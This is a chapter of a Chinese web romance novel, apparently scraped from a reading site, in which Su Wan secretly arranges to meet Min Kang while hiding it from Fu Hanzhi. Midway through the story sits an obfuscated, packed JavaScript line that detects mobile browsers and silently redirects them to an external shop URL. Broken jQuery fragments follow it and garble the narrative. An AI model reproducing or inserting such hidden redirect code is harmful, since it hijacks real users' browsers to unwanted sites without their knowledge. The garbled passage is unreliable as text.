文趣网 > 其他小说 > 笑面阎王秒切忠犬妻管严 > 28. 第 28 章
    “当然是严肃拒绝,我说我已经有人等我回家吃饭了。”付寒之回答道。

    苏晚放下环抱于胸前的手臂,被付寒之重新拉入怀中。

    虽然这次是躲过去了,但是付寒之这招蝴蝶的体质,这才不过一年,身边就开始出现莺莺燕燕了,这也让苏晚多了一丝警觉,报仇必须却要提上日程了,免得之后他真成了亲就近不了他的身了。

    “苏晚,你放心,我这辈子只要你一人足以。”付寒之用下巴抵着苏晚的头,眼睛看着前方,心中也充满着对未来的憧憬,只是他不知道苏晚离开的计划也已经提上日程了。

    “嗯。”苏晚虽是应着付寒之的话,但心底里却是不信的。

    付婕这几天总能在路上碰到闵康,她还傻乎乎地以为这是缘分,她从未想过她去槽帮的时间如此早,闵康为何每次都能在路上碰到。

    闵康跟在马车旁边,听着付婕说着槽帮里的事情。

    “对了,广大哥,你若想来槽帮工作,我可以替你引荐。”付婕掀开帘子看着闵康,她这么说也是有私心的,这样她就可以每天能见到他。

    “不必了,在下平日在家中铺子打打杂,家中长辈的意思不好忤逆。”

    “那你家铺子在哪,我对京城所有铺子都熟着呢,说不定我还去过你家铺子。”

    扯一个谎就要用千百个谎去圆。闵康又怎会不懂这个道理,但是他别无他法。

    “只是一家小小的书画铺罢了,生意不算好,想必付小姐您平时是不逛的。”闵康心虚害怕露馅,只好赶紧转移话题,“付小姐,今日怕是不同路了,有缘再见。”说完就快速向小巷里走去。

    付婕往地上看到闵康掉落在地上的折扇,下车捡起想赶紧追上他,可一晃人已经消失在小巷中,她只好留在自己身边,只好等下一次再见。

    付婕走后,闵康身后一间民房里走出来,这把折扇是他特意留下的,为了下一次见她能有正当理由。

    闵康走后,一位妇人从民房走出来,“这门怎么自己开了。”

    付婕前脚刚到槽帮,苏晚后脚就到了,本想着槽帮走上正轨后会比较轻松一点,没想到压力更大了,槽帮要培训、要谈单、要运输,每天都给苏晚累够呛。

    苏晚才抬脚上楼梯就有一个小乞丐冲上来抱住了她的腿,往她手里塞了一张纸条。

    还好姜挽霜眼疾手快,将这小乞丐拉开,“小孩,你怎么能直接往人身上扑呢?下次不能这样了。”

    进入槽帮以后,苏晚找了个借口,让姜挽霜去监督大家练武,支开了她,走到角落,将小乞丐塞给她的纸条打开。

    苏晚看到内容,瞳孔一震,看了看周围确定没人,又打开字条仔细看了一遍。

    十五日亥时城郊西村郭家茶馆见,落款是闵康。

    是他!果然是他!他果然没死。

    苏晚将纸条紧紧攥在手心,赶紧走到隐蔽处将纸条烧掉,她知道这种东西觉得不能让付寒之知道,可是亥时可是晚上九点以后,好在这个时间点付寒之一般都已经离开苏晚住的地方,可是姜家四姐妹要怎么避开。

    虽说这四姐妹是来保护自己的,但苏晚也知道这恐怕是付寒之监视自己的办法,但是要知道闵康到底是怎么回事,就必须要去。

    今日是十号,还有五天,好在这段时间姜挽霜已经教会自己骑马,只是这城门酉时就已经关了,若没有付寒之帮助恐难以出去。

    不不不!绝对不能让他知道这件事,倘若他发现闵康说不定会杀了他。

    “苏姐姐,你怎么了,你脸色好差。”付婕跑进来问。

    “没事,我只是在想过年后去北方的船这几天都没有回信,我有些担心。”苏晚的担心是真的,这批船几乎带走了槽帮所有船员和船只,若出事,对槽帮而言就是灭顶之灾,现在新招的毕竟还没有磨合。

    “那要不,我们去城郊的灵溪寺去为他们求个平安符,我娘经常去,听说挺灵的。”付婕说完,苏晚看着她,付婕被她看得发毛。

    这是个好主意,从灵溪寺回来的路上找借口离开一趟就行。

    “好啊,那我们这月十五去。”苏晚很快答应下来。

    “正好我馋灵溪寺的斋饭了。”付婕亲昵地挽着苏晚的胳膊。

    “小馋猫。”苏晚用手指戳了戳付婕的脑袋。

    由头有了,苏晚格外期待那天的到来,虽然会有些害怕,但是苏晚必须要去,只有去了很多问题才能解开谜底。

    “苏姐姐,我有事情要汇报。”王清手里端着账本走进来,王清接手槽帮的账本之后很负责。

    “沈大哥最近介绍了一个商单,是将瓷器运往南方的,这单的运输费用很高,但是瓷器运输损耗会比较高,我就想和你商量这单槽帮能不能接。”

    “有要求走河运还是海运吗。”苏晚反问王清。

    “沈大哥说都可以。”

    那还好,走河运会比较安全,但耗时会比较久,但能让船员多些和各地官员打交道的机会,走海运,时间上会比较短,但若碰到风暴,她担心以目前这批新船员会难以处理,苏晚在心里衡量了一番,给出答案。

    “接,走河运,至于损耗,我们在出发之前用稻草或者筹集一些大家不用的旧衣服先行做好保护,途中运输应该不会有大问题,就是在装卸船的时候要格外注意就是了。”

    “好,那我去给沈大哥回信了。”王清说完就跑开了。

    “苏姐姐,你看王清现在都像个小大人一样,什么事他都会干了。”付婕看着王清离去的身影感慨道。

    是啊,人都会变的,谁能想到王清大半年前还是街上的乞丐呢。

    苏晚处理完手上的事情后,往去给船员培训了,她现在干培训越来越顺手了,说不定她有一天要是回到现代干培训机构也能干起来。

    她在心里自嘲,她真的是走到哪都要找到工作养活自己。

    下午付寒之下值之后来接苏晚,他一眼就看出苏晚脸色不对,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746516|208207||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    上前迎着苏晚,“怎么了,脸色怎么这么差。”

    “没事,就是有些累了。”苏晚的身子,她自己是知道的,她最近有些乏力,浑身没有力气,有时连抬起手臂都费劲。

    付寒之对叔君使了个眼神,让叔君前去请郎中了。

    郎中看后说:“说话太多,气血亏了,思虑过多过重导致阴血暗耗,最近要好好休息,要多吃些补气血的药膳。”

    “可有大碍。”

    “并无,好好休息便是,尽量不要做耗气血之事。”郎中手中收拾着把脉的工具。

    叔君将郎中引出门去。

    为了接付寒之去北方的那单,苏晚所有的船和人全部被派出去了,徐师傅和曹师傅也被派去跟船,槽帮招新的进程也没有放缓,苏晚一边要忙招人和管理之事,还有兼顾着培训,这段时间确实是很忙。

    之前付寒之跟她说的有人要给他说亲之事,让苏晚明白她也需要有些紧迫感了。

    只是没想到这才没多久就气血亏了,难怪以前在现代时,苏晚妈妈带她去算命,那算命的说苏晚身弱不担财,看来是应验了,好不容易要赚钱,身体就出幺蛾子了。

    “苏晚,要不,最近先休息一下,至于槽帮那边我会派人多盯着的。”付寒之知道槽帮是她的命根子,谁都不能动,但是身体大于一切,身体不行,他要槽帮有何用。

    苏晚本是不想放下槽帮的,但是想到十五日的约,正好可以趁现在和付寒之说了,以免他后面起疑。

    “好啊,正好我和付婕约了十五日要去城郊的灵溪寺求平安符,那我就趁这几天偷下懒。”苏晚倚在付寒之怀里,用头蹭了蹭他的胸膛。

    “槽帮的事情,你也不要太焦虑了,事物的发展总是有一个缓慢的过程的,从小到大总是有个几年甚至十几年的发展时间,你若想太快壮大,结果就是像现在这样虐待你自己,我们之间还有很长时间,好几十年,没有必要要急于这一时。”付寒之宽慰着她。

    他说的这些她又岂会不懂,只是她掉进了焦虑的怪圈,她害怕付寒之的支持是有限度的,害怕杀了他之后,她的槽帮还不能独立运转,这些思想将她困住了,迫使她只有一直往前跑才能获得一丝安全感。

    但她还是在付寒之的怀里点了点头。

    付寒之以为她听进去了,“那明天就开始休息吧,至于槽帮那边我会再选两人过去盯着的。”

    叔君带着食盒走进来,“公子,当归党参乌鸡汤好了。”说完就将饭菜放在桌子上。

    “来吃饭了。”付寒之扶着苏晚走到桌前。

    他端起苏晚的汤碗舀了汤,“这是按郎中给的方子特意熬的鸡汤,你喝喝味道怎么样。”

    苏晚端起碗喝着这鸡汤,“这汤很好喝。”

    “你喜欢就好,下次还让他们做。”付寒之给苏晚夹着菜,“不过你怎么想起要去灵溪寺了?以前从没听你说过想要去寺庙。”

    他这应该是正常的询问吧,苏晚心想。